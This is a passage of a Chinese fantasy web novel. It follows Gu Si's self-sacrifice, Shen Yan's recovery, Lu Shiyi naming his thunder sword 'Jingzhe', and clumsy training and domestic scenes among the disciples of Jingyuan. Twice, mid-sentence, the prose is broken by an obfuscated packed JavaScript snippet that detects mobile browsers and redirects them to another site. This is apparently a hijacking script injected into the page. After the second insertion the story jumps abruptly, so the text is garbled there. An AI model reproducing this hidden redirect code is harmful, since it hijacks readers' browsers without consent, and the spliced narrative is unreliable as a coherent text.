“我愿意。”顾肆打断他,“我愿意。但我犯的错,得还。”他看向沈言。沈言还在昏迷,但气息平稳了许多。江妤的治愈光晕笼罩着他,伤口在缓慢愈合。 “这身体,我还给他了。锁链断了,他很快就能恢复。那些被魂化的土地,魂化的过程是可逆的,只要用足够纯净的生命能量冲刷,就能恢复。那些被抽走的灵魂,大部分还在附近,用寻魂盘找,就能送回去。至于我……” 他看着自己越来越淡的灵魂。 “我就算了。” 他抬头,看向天空。灰色的云层正在散去,有微弱的光从缝隙里漏下来,照在他的灵魂上。 “原来……天晴了是这样的。”他轻声说,然后看向萧予,“师父,对不起。也……对不起沈言。还有……谢谢。” 说完,淡青色的灵魂,开始彻底消散。 从边缘开始,化作点点荧光,飘向天空,融进那缕漏下来的阳光里。 萧予伸出手,想抓住什么,但抓了个空。 只有几点荧光,落在他掌心,暖洋洋的,然后也消失了。 顾肆最后看了他们一眼,随后彻底化作无数光点,消散在渐渐亮起的天空下。 荒原上,风停了。呜咽声停了。魂化造物全部溃散,影仆化作黑烟消散。焦褐色的土地,在天光照射下,开始缓慢恢复颜色。远处那些游荡无魂的躯体,一个个软倒在地,他们的灵魂,正从四面八方飘回。 天,彻底晴了。 陆时忆抱着昏迷的沈言,看着顾肆消失的地方,张了张嘴,想说点什么,但没说出来。 萧予站在原地,看着掌心最后一点荧光消失,然后,缓缓握紧。 “回家吧。”他说。 陆时忆点头,背起沈言。 江淮年想帮忙,但自己胳膊断了,只能用没断的手扶着。裴衍和时聿互相搀扶着,宋听澜和江妤走在最后。萧予走在最前面,背影在阳光下,拉得很长。 一行人,朝着静园的方向,慢慢走回去。 身后,荒原在复苏。焦土褪去灰败,嫩芽破土而出。被抽走的灵魂回归躯体,那些死去的村民,开始一个接一个醒来,茫然四顾,不知发生了什么。 静园。银杏树下。 沈言醒过来的时候,已经是三天后了。 他睁开眼,看见的是熟悉的天花板。动了动,浑身像散了架一样疼,但至少,身体是自己的了。 “醒了?”旁边传来江淮年的声音。 沈言转头。江淮年坐在床边,左臂打着绷带吊在胸前,脸色还有点白,但眼睛亮亮的。 旁边,陆时忆趴着睡着了,口水流了一枕头。裴衍靠在门口打哈欠,宋听澜在捣药,时聿在擦刀,江妤在倒水。 一切,都回来了。 “我……”沈言开口,声音嘶哑,“我睡了多久?” “三天。”江淮年说,“顾肆那疯子下手真狠,你身上到处都是伤,灵魂也受损严重,得好好养一阵子。” “顾肆……”沈言皱眉,记忆回笼。被占身,被压制,看着顾肆用他的身体作恶,看着伙伴们受伤,看着自己无能为力…… “他呢?”他问。 “走了。”江淮年说,“师父说,是他自己选的。” 沈言沉默。过了很久,才低声说:“也好。” “对了,你的混合系好像有点变化。师父说,顾肆的风系能量残留了一部分在你体内,虽然很少,但和你原本的异能产生了某种融合,反正你现在能用一点点风系了,虽然很弱。” 沈言一愣,试着调动体内能量。 果然,除了熟悉的能量,还有一股很微弱但确实存在的淡青色气流。很陌生,但又很契合。 “因祸得福?”他挑眉。 “算是吧。”江淮年笑了,“不过你现在别乱用,先养好伤再说。” “知道了,啰嗦。” 两人对视一眼,都笑了。 23. 惊蛰 陆时忆盘腿坐在静园院子里的银杏树下,面前横着那把银白色雷光流转的长剑。 剑身很亮,即使在树荫下也泛着冷冽的光泽,剑格处的符文偶尔流过一道细碎的电弧,发出轻微的噼啪声。 “叫什么呢……”他摸着下巴,自言自语,“这么帅的剑,得起个配得上它的名字。” 江淮年吊着胳膊溜达过来,在他旁边坐下:“干嘛呢?对着剑发春?” “你才发春!”陆时忆瞪他,“我在想名字!我这把剑,总得有个名儿吧?” “哦,取名啊。”江淮年凑过去看了看剑,“这简单,你看它这么亮,还带电,叫‘电灯泡’怎么样?” 陆时忆:“……江淮年你信不信我用它捅你?” “开个玩笑嘛。”江淮年耸肩,“那……‘雷光剑’?” “太普通了,没新意。” “‘霹雳剑’?” “像武侠小说里跑龙套的。” “‘雷霆之怒’?” “中二病犯了?” 江淮年一连提了十几个名字,都被陆时忆一一否决。最后江淮年不耐烦了:“这也不行那也不行,你到底想叫啥?” “我得好好想想。”陆时忆一脸严肃,“这可是要陪我一辈子的,名字不能马虎。” “行行行,你慢慢想。”江淮年起身,“我去看看沈言那绿毛醒了没。” “他早醒了,在屋里装死呢。” 江淮年走了。 陆时忆继续对着剑发愁。 这时,裴衍慢悠悠地从屋里晃出来,打着哈欠,头发睡得乱糟糟的。 他走到井边打了盆水,慢吞吞地洗脸,然后瞥了陆时忆一眼:“对着剑发呆?” “我在想名字。”陆时忆说。 “哦。”裴衍擦完脸,把毛巾搭在肩上,走过来看了看剑,“叫‘惊雷’吧。” 陆时忆眼睛一亮:“惊雷?有点意思。” “嗯,你出剑的时候动静跟打雷似的,挺合适。” “但好像还差了点……” “那就‘惊蛰’。”裴衍随口说,“惊雷唤醒万物,蛰伏一冬的虫子都出来了,挺应景。而且你突破那会儿,不也像冬眠醒了的虫子似的?” 陆时忆:“……裴石头你能不能好好说话?” “我说的是事实。”裴衍打了个哈欠,转身回屋继续睡觉。 但“惊蛰”这个名字,却在陆时忆脑子里扎了根。 惊蛰……好像……还不错? 他还在琢磨,宋听澜端着药碗从药房出来,看见他对着剑愁眉苦脸,笑眯眯地问:“陆师弟,在想名字?” “嗯,宋师兄有什么好建议吗?” 宋听澜放下药碗,走过来仔细看了看剑,手指虚抚过剑身,他也没敢真碰,上面还带电呢。 “雷光流转,生机内蕴,有破邪复苏之效。”他沉吟片刻,“不如叫‘回春’?雷霆一响,万物回春,与你异能特性相合。” 陆时忆嘴角抽了抽:“回春……听起来像药铺招牌。” “那‘惊蛰’呢?”宋听澜笑道,“方才听见裴衍提了,我觉得甚好。惊蛰时节,春雷始鸣,蛰虫惊而出走。你的雷系异能亦有惊醒、破障、催生之能,很是贴切。” “你也觉得惊蛰好?” 宋听澜点头,“而且此名不张扬,不落俗套,颇有古意。” 陆时忆摸着下巴,觉得“惊蛰”是越来越顺耳了。 这时,时聿不知从哪儿冒出来,靠在廊柱上,简短吐出两个字:“同意。” “你同意什么?”陆时忆扭头。 “惊蛰。”时聿说。 “你也觉得好?” “嗯。” 陆时忆挠挠头。裴衍提的,宋听澜赞同,时聿也点头……好像,就它了? “行,那就——” “等等!” 一个声音打断了他。江妤从厨房探出头,手里还拿着锅铲:“你们在讨论十一剑的名字?” “对,江妤妹妹有什么好建议吗?”陆时忆眼睛一亮。 江妤走过来,围着剑看了一圈,然后说:“叫‘噼里啪啦’吧。” 陆时忆:“……” 江淮年刚好从沈言屋里出来,听见这话差点笑岔气:“噼里啪啦?这名字倒是好玩。” “本来就是啊。”江妤一脸认真,“陆十一用剑的时候,雷光噼里啪啦的,多形象。” “形象是形象,但……”陆时忆扶额,“这名字也太随便了吧?” “那‘闪光弹’?” “……” “‘电蚊子拍’?” “江妤妹妹!”陆时忆哀嚎,“你能不能认真点?” “我很认真啊。”江妤撇嘴,“这些名字多贴切。” “贴切是贴切,但不好听啊!” “那你要多好听的?” 陆时忆想了想,试探道:“惊蛰……怎么样?” 江妤皱眉:“惊蛰?二十四节气那个?” “对,裴石头提的,宋师兄和时聿都说好。” 江妤盯着剑看了几秒,又看看陆时忆,然后点点头:“还行吧,比噼里啪啦强点。” 陆时忆松了口气。看来江妤这关也过了。 “那就这么定了?”他环视众人,“我的剑,就叫惊蛰?” “我没意见。”江淮年耸肩。 “好。”宋听澜笑眯眯。 时聿点头。 裴衍在屋里喊了句:“随便。” 江妤:“哦。” “好!”陆时忆一拍大腿,“从今天起,你就叫惊蛰了!” 他拿起剑,剑身似乎感应到他的名字,雷光流转得更加欢快,发出一阵悦耳的嗡鸣。 陆时忆咧嘴笑了,越看越满意。 惊蛰,好名字,又帅又有内涵。 然而,他高兴得太早了。 第二天早上,陆时忆还在睡梦中,就听见院子里传来江淮年的大嗓门: “陆十一!你的惊蛰借我看看!” 陆时忆迷迷糊糊爬起来,推开窗户:“干嘛?” “沈言说想看看你的剑,我拿来给他瞅瞅。” 陆时忆不疑有他,把惊蛰从窗口递出去:“小心点,还带电呢。” “知道知道。”江淮年接过剑,屁颠屁颠跑了。 陆时忆倒头继续睡。但没睡几分钟,就被一声巨响吵醒。 “轰——!!!” 雷光炸裂的声音,还夹杂着沈言的怒吼:“江淮年你找死!” 陆时忆一个激灵爬起来,冲出门。 院子里,沈言顶着一头被电得竖起来的绿发,满脸焦黑,正追着江淮年打。 江淮年一边跑一边笑,手里还挥舞着惊蛰,剑身雷光乱窜,时不时劈出一道电弧,把地面炸出个小坑。 “江淮年!”陆时忆心疼得直抽抽,“我的剑!我的惊蛰!你别乱玩!” “我就试试嘛!”江淮年躲过沈言扔过来的土块,“这剑真带劲,一挥就放电!” “认主的!你乱用会反噬!” “反噬个屁,我用得好着呢!看招——惊蛰雷光斩!” 一道歪歪扭扭的雷光剑气劈出,没劈中沈言,反而把院墙劈掉一块砖。 陆时忆眼前一黑。 这时,裴衍也被吵醒了,黑着脸从屋里出来:“大清早的,吵什么?” “江淮年抢我剑!”陆时忆告状。 “我就玩玩!”江淮年辩解。 “玩玩?”沈言咬牙切齿,“你差点把我屋炸了!” “意外,纯属意外。” “都闭嘴。”裴衍揉着太阳穴,伸手,“剑给我。” 江淮年不情不愿地把惊蛰递过去。裴衍接过,掂了掂,然后随手一挥。 一道凝实的剑气劈出,在院子中央的地面上,犁出一道笔直的沟壑。 沟壑边缘,泥土被高温烧结。 院子里安静了。 陆时忆瞪大眼:“裴石头你……” 裴衍把剑扔回给陆时忆,“别瞎玩,伤着自己。” 陆时忆接过剑,心有余悸。 刚才那道剑气,要是江淮年劈出来的,估计能把院子拆了。 “看,还是裴衍靠谱。”江淮年凑过来,“陆十一,你这剑真不错,借我玩两天呗?” “滚!”陆时忆抱紧惊蛰,“想都别想!” “小气。” “这不是小气!它认主的!你拿着也用不出全力,还容易伤着!” “那我用我自己的方式玩嘛……” 沈言翻了个白眼,回屋洗脸去了。裴衍打了个哈欠,也回屋继续睡。宋听澜从药房探出头,看了一眼,摇摇头,又缩回去了。时聿不知在哪个阴影里,全程没露面。 江妤从厨房出来,端着早饭,看见院子里那道沟,皱眉:“谁干的?” “他!”陆时忆和江淮年同时指向对方。 江妤看了看沟,又看了看陆时忆手里的剑,忽然说:“陆师兄,你的惊蛰能借我看看吗?” 陆时忆警惕:“你要干嘛?” “不干嘛,就看看。” 陆时忆犹豫了一下,还是把剑递过去。 江妤接过,仔细看了看,然后点点头:“确实挺好看的。” 说完,她手腕一翻,剑尖指向院子角落的水缸。 “等等!”陆时忆脸色一变,“江妤妹妹你要干——” 话音未落,江妤已经催动水系异能,一股水流从水缸中升起,缠绕在惊蛰剑身上。然后,她将剑轻轻一挥。 水流裹挟着细碎的电弧,化作一道剑气,劈在院墙根下的一丛杂草上。 “滋啦——” 杂草瞬间焦黑,但焦黑中,又冒出点点嫩绿的新芽。 “看,”江妤把剑还给陆时忆,一脸平静,“你的惊蛰,配合我的水系,有催化生长的效果。以后种菜可以用。” 陆时忆:“……” 江淮年噗嗤笑了:“种菜?真有想法。” “本来就可以。”江妤认真地说,“雷霆有生机,水流能滋润,配合起来催生植物,效率很高。以后静园的菜地,就靠陆师兄了。” 陆时忆眼前又是一黑。 他的专武,帅到炸裂的惊蛰,未来的用途是……种菜? “我不同意!”他抗议,“我的惊蛰是战斗用的!不是种菜用的!” “战斗种菜两不误嘛。”江淮年拍他肩膀,“你看,平时种菜,战时砍人,多实用。” “实用个屁!” “好了好了,吃饭。”宋听澜端着饭菜出来,笑眯眯地打圆场,“陆师弟,剑的名字定了,接下来该熟悉它的特性了。我那儿有本古籍,记载了温养和使用之法,饭后拿给你。” 陆时忆这才稍微平衡了点。至少还有宋师兄靠谱。 饭后,宋听澜果然拿了本古书给他。 书很旧,纸页泛黄,上面的字是手抄的,有些地方都模糊了。陆时忆如获至宝,抱着书回屋研究去了。 这一研究,就是一下午。 傍晚时分,陆时忆红着眼睛从屋里出来,手里拿着书,激动得手都在抖。 “我知道了!我知道了!”他冲到院子里,江淮年他们正在吃饭。 “你知道什么了?”江淮年咬着馒头问。 “惊蛰的特性!”陆时忆挥舞着书,“书上说,一是破邪,二是复苏,三是共鸣!” “共鸣?”沈言挑眉。 “对!”陆时忆兴奋道,“与专武心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119466|195948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意相通后,可引动天地雷霆,而且如果伙伴的异能属性相合,还能产生共鸣增幅,比如江妤妹妹的水系,和我的雷系,如果配合得好,威力能翻倍。” “真的假的?”江淮年来了兴趣,“那我的冰火系呢?能和你的雷共鸣吗?” “不知道,书上没说。”陆时忆挠头,“但可以试试!” “试试就试试!”江淮年放下筷子,“走,训练场!” “等等,先吃饭……”宋听澜话没说完,两人已经没影了。 沈言慢悠悠地喝了口汤,评价:“俩傻子。” 训练场上,陆时忆和江淮年面对面站着。 陆时忆握紧惊蛰,江淮年右手凝聚火球,左手凝冰锥。 “怎么试?”江淮年问。 “我先用惊蛰引雷,你试着用冰火能量接引,看能不能产生共鸣。”陆时忆说。 “行!” 陆时忆深吸一口气,举起惊蛰。剑身雷光流转,天空隐隐有闷雷声传来。他全力催动异能,惊蛰剑尖,一道细小的雷光直冲云霄。 “轰隆——” 云层中雷光一闪,一道天雷劈下,被惊蛰接引,化作剑身上的雷光。 “就是现在!” 江淮年双手齐推,冰锥火球同时射出,撞向惊蛰引下的天雷。 下一秒—— “砰——!!!” 冰火雷三系能量撞在一起,没有融合,没有共鸣,而是…… 炸了。 巨大的爆炸把两人掀飞出去,训练场中央炸出一个大坑。 陆时忆摔在坑边,灰头土脸。 江淮年更惨,被炸得嵌进了围墙里,抠了半天才抠出来。 “咳咳……”陆时忆爬起来,看着手里的惊蛰,剑身雷光黯淡了些。 “江淮年你没事吧?” “死不了……”江淮年从墙里爬出来,吐掉嘴里的土,“但共鸣个屁,差点被炸死。” “看来冰火雷不行。”陆时忆挠头,“可能属性冲突太严重。” “那试试水和雷?”江淮年看向跟过来的江妤。 江妤站在训练场边,面无表情:“我不要,会弄湿衣服。” “试试嘛,就一下。”陆时忆凑过去,讨好地笑,“江妤妹妹,帮帮忙。” 江妤看了他一眼,又看看他手里的惊蛰,犹豫了一下,还是点头:“就一下。” 她走到训练场中央,掌心凝聚出一团水球。陆时忆再次举起惊蛰,引下一道天雷。 这次威力小了很多,刚才那下消耗太大。 “去。”江妤将水球抛出。 水球撞上雷光,没有爆炸,融合了。 水球包裹着雷光,化作一颗电弧流转的能量球,悬浮在半空,发出嗡嗡的轻鸣。 “成功了?”陆时忆眼睛一亮。 江妤控制着□□球,缓缓飘向远处的一棵枯树。□□球接触树干的瞬间,雷光炸开,水流浸润。枯树剧烈颤抖,树干焦黑一片,但焦黑中,又冒出点点嫩芽,以肉眼可见的速度生长、抽枝、长叶。 几秒钟后,一棵半焦半绿,造型诡异的树,出现在众人面前。 陆时忆:“……” 江淮年:“……这算成功还是失败?” “算……半成功?”陆时忆不确定,“至少没炸。” “但把树弄成这德行……”沈言不知何时也过来了,看着那棵诡异的树,评价,“丑。” “你行你上!”陆时忆瞪他。 “我又不用剑。”沈言耸肩,“不过,我的混合系,说不定能和你的雷共鸣。” “真的?” “试试。” 沈言走上前,掌心凝聚出一小团能量球。陆时忆再次引雷,这次威力更小了。 没有爆炸,没有融合,互相排斥,然后各自消散了。 “看来不行。”沈言收回手,“属性太杂,反而没法共鸣。” “可惜了。”陆时忆叹气。 “没什么可惜的。”裴衍的声音从后面传来,他慢悠悠地走过来,看了一眼训练场上的狼藉,“特性要慢慢摸索。急什么。” “我就是想快点熟悉嘛。”陆时忆说。 “那也不能瞎搞。”裴衍指了指那棵半焦半绿的树,“再瞎搞,静园的花草树木都要遭殃。” 陆时忆讪讪地摸了摸鼻子。 这时,萧予也从屋里出来了。 他看着训练场上的大坑、嵌进墙里的江淮年、还有那棵造型诡异的树,沉默了几秒,然后说: “明天,所有人,修院子。” “是……”众人有气无力地应道。 “至于陆时忆,”萧予看向他,“你的惊蛰,既已取名,便要好生温养。从明天起,每日清晨,以自身异能温养剑身半个时辰。平日修炼,也需以剑为辅,做到人剑合一。 另外我这儿有一套惊雷剑诀,适合雷系,你拿去练。” 陆时忆眼睛一亮:“谢谢师父!” “先别急着谢。剑诀难练,需吃苦。而且练剑期间,不得再拿剑瞎折腾,尤其是……”他看了一眼那棵诡异的树,“不得再拿静园的花草做实验。” “是!”陆时忆大声应道。 当晚,陆时忆抱着惊蛰,美滋滋地回屋。剑有了名字,有了剑诀,未来可期。 他躺在床上,把惊蛰放在枕边,看着剑身上流转的雷光,心里满满的。 “惊蛰……”他轻声念道,“以后,咱们就是搭档了。 我练剑,你陪我。 我打架,你帮我。 我种菜……呃,这个就算了。 总之,请多指教。” 剑身嗡鸣,雷光轻闪,像是在回应。 陆时忆抿了抿唇,闭上眼睛,沉沉睡去。 24. 日常一点点小插曲 清晨,天刚蒙蒙亮,静园的院子里就响起了噼里啪啦的电流声。陆时忆穿着一身黑色的训练服,头发在晨风中微微晃动,手里握着惊蛰,剑身银白色的雷光流转,随着他的一招一式,在空气中划出细碎的电弧。 他练的是萧予给的惊雷剑诀。这套剑法讲究一个“快”字,出剑如惊雷乍现,收剑如雷霆收声,动静之间,要有雷霆万钧之势。陆时忆练了快一个月,才勉强摸到门槛。这会儿他正练到第三式雷光乍现,要求在一瞬间刺出九剑,每剑都要带雷光,九剑连成一片,像一道炸开的闪电。 “一、二、三……我靠,又断了!” 剑势一滞,剩下的几剑怎么也刺不出来了。陆时忆收剑,喘了口气,额头上全是汗。他抹了把脸,看向院墙。 江淮年正吊着胳膊,靠在墙上,似笑非笑地看着他。 “看什么看?”陆时忆没好气。 “看你练剑啊。练了一个月,就这水平?第三式都练不全?” “你行你上啊!”陆时忆瞪他。 “我又不用剑。”江淮年耸肩,“不过说真的,你这剑法,花架子太多。真打起来,谁给你时间摆这么多姿势?” “你懂什么,这叫气势!” “气势能当饭吃?” 两人正斗嘴,裴衍的房门吱呀一声开了。 裴衍顶着一头睡得乱糟糟的头发,眯着眼睛,慢吞吞地走出来。 “吵……”他打了个哈欠,声音含糊,“大清早的,还让不让人睡觉了……” “裴石头,这都几点了你还睡?”江淮年说。 “几点都是睡觉的时间。”裴衍慢悠悠地晃到井边,打水洗脸。冰凉的水扑在脸上,他稍微清醒了点,瞥了陆时忆一眼,“练剑呢?” “嗯。”陆时忆点头。 “第三式卡住了?” “你怎么知道?” “听出来的。你衔接不流畅,是异能控制的问题。你太急着出剑,忘了雷系异能要蓄势。蓄够了,再放,才能一气呵成。” 陆时忆一愣,仔细想了想,好像真是这么回事。他之前只顾着追求速度,每一剑都急着出,结果雷光散而不聚,越到后面越吃力。 “我试试。”他重新摆开架势,深吸一口气,剑身上的雷光越来越亮,越来越凝实,直到剑身开始微微震颤,他才猛地刺出第一剑。 “唰!” 紧接着第二剑、第三剑……一剑快过一剑,雷光连成一片,在空气中炸开刺目的光网,九剑刺完,最后一剑的雷光余势未消,劈在院墙角的石灯笼上,把灯笼顶炸掉一小块。 “成了!”陆时忆惊喜。 “嗯,还行。”裴衍评价,然后补充,“不过墙坏了,你修。” 陆时忆:“……” 江淮年幸灾乐祸地笑:“让你嘚瑟。” 这时,沈言的房门也开了。 沈言脸色还有点苍白,他灵魂受损,需要长时间调养。但精神好了很多,那双眼睛又恢复了往日的嚣张。 “大清早的拆家呢?”他瞥了一眼被炸掉顶的石灯笼。 “意外,纯属意外。”陆时忆讪笑。 沈言没理他,走到银杏树下,开始打坐调息。他现在的首要任务是养魂,混合系异能暂时不能用,每天只能打坐,用最温和的方式温养经脉。 宋听澜从药房出来,手里端着个托盘,上面放着几个小瓷瓶。 “沈言,该吃药了。” 沈言脸一垮:“又吃?” “良药苦口。”宋听澜笑眯眯地把瓷瓶递过去,“师父新配的方子,固本培元,对你灵魂恢复有好处。” 沈言苦着脸接过,倒出一颗黑乎乎的药丸,闭眼吞下去,然后整张脸皱成一团。 “水……”他伸手。 江妤刚好从厨房出来,手里拎着水壶,给他倒了杯水。 沈言灌了一大口水,才把那股苦味压下去。 “谢谢。”他说。 “嗯。”江妤应了一声,转身回厨房,全程没看旁边的陆时忆一眼。 陆时忆眼巴巴地看着她的背影,想搭话,又不知道说什么。 自从荒地回来,江妤对他的态度好像好了一点,但又好像没好。 不怼他了,但也不怎么搭理他。这种若即若离的感觉,让陆时忆抓心挠肝的。 “看什么呢?”沈言捅了他一下。 “没、没什么。”陆时忆赶紧收回视线。 “喜欢就去说啊,憋着干嘛?” “我……我不敢。” “怂货。” “你才怂货!” 裴衍被吵得头疼,回屋继续睡觉去了。宋听澜笑着摇摇头,也回了药房。时聿不知什么时候出现在廊下,靠在柱子上,看着他们吵,没说话,嘴角微微扬了扬。 早饭很简单,白粥,咸菜,馒头,还有江妤煎的鸡蛋。 几个人围坐在石桌旁,稀里哗啦地吃。陆时忆挨着江妤坐,想给她夹菜,筷子伸到一半,被江妤一瞪,又缩了回来。 “我自己会夹。”江妤说。 “哦……”陆时忆蔫了。 沈言在旁边凉凉地补刀:“舔狗不得house。” 陆时忆:“沈言你闭嘴!” “实话实说。” “你——” “吃饭。”萧予的声音从正房传来。他端着碗粥走出来,在桌边坐下扫了众人一眼,最后目光落在沈言身上,“今天感觉如何?” “好多了。”沈言说,“灵魂的撕裂感轻了很多,就是异能还是不能用,一用就头疼。” “正常,伤到根本了,得养。这段时间你就安心养着,别想训练的事。等灵魂彻底稳固了,再慢慢恢复。” “是。” “江淮年,你胳膊呢?” “快好了。”江淮年活动了一下吊着的左臂,“宋师兄说再养半个月就能拆绷带。” “嗯。”萧予点头,看向陆时忆,“剑诀练得怎么样?” “第三式刚突破,第四式还摸不着门道。”陆时忆老实交代。 “不急,慢慢来。”萧予喝了口粥,“惊雷剑诀一共九式,你能在一个月内练到第三式,已经不错了。但记住,剑法是死的,人是活的。实战中,要根据情况变通,别死板。” “明白。” “至于你们几个……”萧予看向裴衍、时聿、宋听澜,“最近附近不太平,影仆活动频繁。虽然都是小打小闹,但也不能大意。吃完早饭,裴衍、时聿,你们去东边十里外的李家庄看看,听说昨晚有影仆骚扰。宋听澜,你跟我去后山采药,有几味药材该收了。” “是。”三人应道。 “我呢我呢?”江淮年举手,“我胳膊快好了,也能帮忙!” “你老实养着。”萧予瞥他一眼,“等胳膊好了再说。” “哦……” 饭后,裴衍和时聿出发去李家庄。两人都换了方便活动的劲装,裴衍还是那副懒洋洋的样子,时聿则一如既往地沉默。临出门前,裴衍回头看了江淮年一眼:“别瞎跑。” “知道了知道了,啰嗦。”江淮年挥手。 两人走了。萧予和宋听澜也去了后山。院子里只剩下江淮年、陆时忆、沈言和江妤。 沈言回屋打坐养魂。江淮年吊着胳膊在院子里溜达,看陆时忆练剑。江妤收拾完碗筷,搬了把小凳子坐在银杏树下,开始缝补衣服,毕竟静园这群人训练太凶,衣服破得跟乞丐似的,得经常补。 陆时忆练了会儿剑,偷偷瞄江妤。江妤低着头,手指灵巧地穿针引线。他心跳有点快,想过去搭话,但又不知道说什么。 江淮年看在眼里,嗤笑一声,用没受伤的胳膊捅了他一下:“去啊,怂什么?” “我……我没怂。” “那你去啊。” “我……”陆时忆一咬牙,走过去。 “江妤妹妹,缝衣服呢?” “嗯。”江妤头也不抬。 “那个……我衣服也破了,能帮我补补吗?” “哪儿破了?” 陆时忆低头看了看自己身上,训练服确实破了几处,但都是小口子。他指了指左肩:“这儿。” 江妤抬头看了一眼,点点头:“脱下来。” 陆时忆一愣:“啊?” “不脱我怎么补?” “哦、哦。”陆时忆赶紧把外套脱下来,递给江妤。江妤接过,看了看破口,从针线筐里找出颜色相近的线,开始缝。 陆时忆站在旁边,看着她穿针引线,手指灵活得像在跳舞。阳光透过银杏树的叶子洒下来,在她发丝间跳跃。 他看得有点呆。 “看什么?”江妤忽然抬头。 “没、没什么!”陆时忆赶紧移开视线,耳根子有点热。 江妤没再理他,低头继续缝。几针下去,破口就补好了,针脚细密整齐,几乎看不出补过的痕迹。 “好了。”她把衣服递回去。 “谢谢江妤妹妹!”陆时忆接过,美滋滋地穿上。 “不用。”江妤收起针线,起身,“我去洗衣服。” “我帮你!” “不用。” “要的要的!”陆时忆抢过装脏衣服的木盆,“我帮你拎到井边!” 江妤看了他一眼,没说话,算是默许了。两人一前一后走到井边,陆时忆打水,江妤开始洗衣服。 静园没有洗衣机,衣服都得手洗。江妤洗得很认真,一件一件,搓揉,漂洗,拧干。 陆时忆在旁边看着,想帮忙,但不知道从何下手。他长这么大,衣服都是随便扔给宋听澜洗的,自己从来没动过手。 “那个……江妤妹妹,”他试探着开口,“以后衣服……我自己洗也行。” “你洗不干净。”江妤头也不抬。 “我可以学!” “不用。” “……” 又碰了个软钉子。陆时忆挠挠头,有点沮丧。他觉得自己好像怎么做都不对,江妤总是这副不冷不热的样子,让他心里没底。 “江妤妹妹,”他鼓起勇气,又问,“你是不是……讨厌我?” 江妤洗衣服的手一顿。她抬起头,看了陆时忆一眼,然后低下头,继续洗。 “没有。” “那你为什么……”陆时忆不知道该怎么说,“为什么不理我?” “我没有不理你。” “可是你……”陆时忆急得抓耳挠腮,“你都不怎么跟我说话,也不看我,我帮你你也不要……江妤妹妹,我是不是哪儿做错了?你告诉我,我改!” 江妤沉默了一会儿,才低声说:“你没有做错。” “那为什么……” “因为我不知道该怎么对你。”江妤抬起头,看着他。那双淡蓝色的眼睛里,有困惑,有迷茫,“陆师兄,你对我好,我知道。可是……我从来没经历过这些。我不知道该怎么回应,也不知道……该怎么和你相处。” “我以前只有哥哥。”江妤继续低头洗衣服,声音轻轻的,“后来来了静园,有师父,有裴师兄,时师兄,宋师兄,沈言……你们都是伙伴,是家人。但你……不一样。 你总是围着我转,说喜欢我,给我带东西,教我训练……我不知道该怎么办。我不讨厌你,可是……我也不确定……” 她没有说下去,但陆时忆明白了。 江妤从小和哥哥相依为命,后来经历劫难,性格变得暴躁又傲娇,用冷漠和尖刺保护自己。陆时忆这种不管不顾的热情,让她不知所措。 “对不起。” 江妤摇摇头:“你不用道歉。我只是……需要时间。” “我等你。”陆时忆立刻说,“多久都等。” 江妤看了他一眼,没说话,低下头,继续洗衣服,只是嘴角似乎弯了弯? 陆时忆看见了。又笑的傻子似的。他不再说话,安静地陪在井边。江妤洗衣服,他就打水,递肥皂,拧干。两人配合默契,虽然话不多,但气氛和谐。 江淮年在远处看着,撇了撇嘴:“陆时忆这傻冒。” 沈言不知何时也从屋里出来了,靠在门框上,看着井边那俩人,评价:“一个傻子,一个木头,绝配。” “你懂什么。这叫纯情。” “纯情个屁,墨迹。” “你行你上啊?” “我又不喜欢谁。” 两人正斗嘴,院门忽然被推开。裴衍和时聿回来了,两人身上都沾了点灰,但没受伤。 “怎么样?”江淮年问。 “解决了。”裴衍说,走到井边打了盆水洗脸,“就三个低阶影仆,在李家庄外面晃悠,吓唬村民。我跟时聿过去,一人一个,剩一个跑了,没追上。” “跑了?”沈言皱眉。 “嗯,跑进山里了,要追吗?” “不用了。”萧予的声音从门口传来。他和宋听澜背着药篓回来,药篓里装满了新鲜的草药,“跑就跑了,一个低阶影仆,翻不起浪。” 话虽如此,萧予第二天还是亲自去了一趟,发现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“找个小点的目标试试。”宋听澜从地上捡了块指甲盖大小的碎石,放在石桌中央,“用你刚才那一剑的力道,劈这个,但不能伤到桌子。” 陆时忆盯着那块小碎石,咽了口唾沫:“这……这太难了吧?” “试试。” 陆时忆深吸一口气,举起惊蛰。这次他不敢再用全力,只调动了三成能量,小心翼翼地对准碎石,一剑刺出精准地劈在碎石上,碎石炸成粉末。 但剑气余波没控制住,在石桌上留下一道浅浅的白痕。 “还是重了。”宋听澜摇头,“再来。” 陆时忆又试了几次,不是劈歪了,就是力道没控制好,在石桌上留下好几道印子。 江淮年在旁边看得心疼:“我的桌子!宋师兄你别让他试了,再试桌子要碎了!” “没事,桌子结实。”但看着桌上越来越多的白痕,宋听澜也有点犹豫,“要不……换个地方练?” “去训练场吧。”裴衍的声音从屋里传来,懒洋洋的,“院子小,施展不开。” “有道理。”陆时忆收剑,对江淮年说,“棋子我赔,桌子……呃,我尽量不劈坏。” “你还想劈?!”江淮年瞪眼。 “走了走了,练剑去。”陆时忆脚底抹油,溜了。 训练场在静园后面,是块平整的泥土地,周围用木桩围起来,算是简易的练习场。陆时忆到的时候,沈言已经在里面了。他没练异能,只是在打一套很慢的拳法,动作舒展,呼吸悠长,像是在温养经脉。 “沈言,你练什么呢?”陆时忆凑过去。 “养魂的导引术。”沈言没停,动作依旧缓慢,“宋师兄教的,能加速灵魂恢复。” “有用吗?” “有点用,至少头不疼了。” “那挺好。”陆时忆在旁边找了块空地,开始练剑。惊蛰在他手里划出一道道弧光,雷光内敛,不再像之前那样张扬。 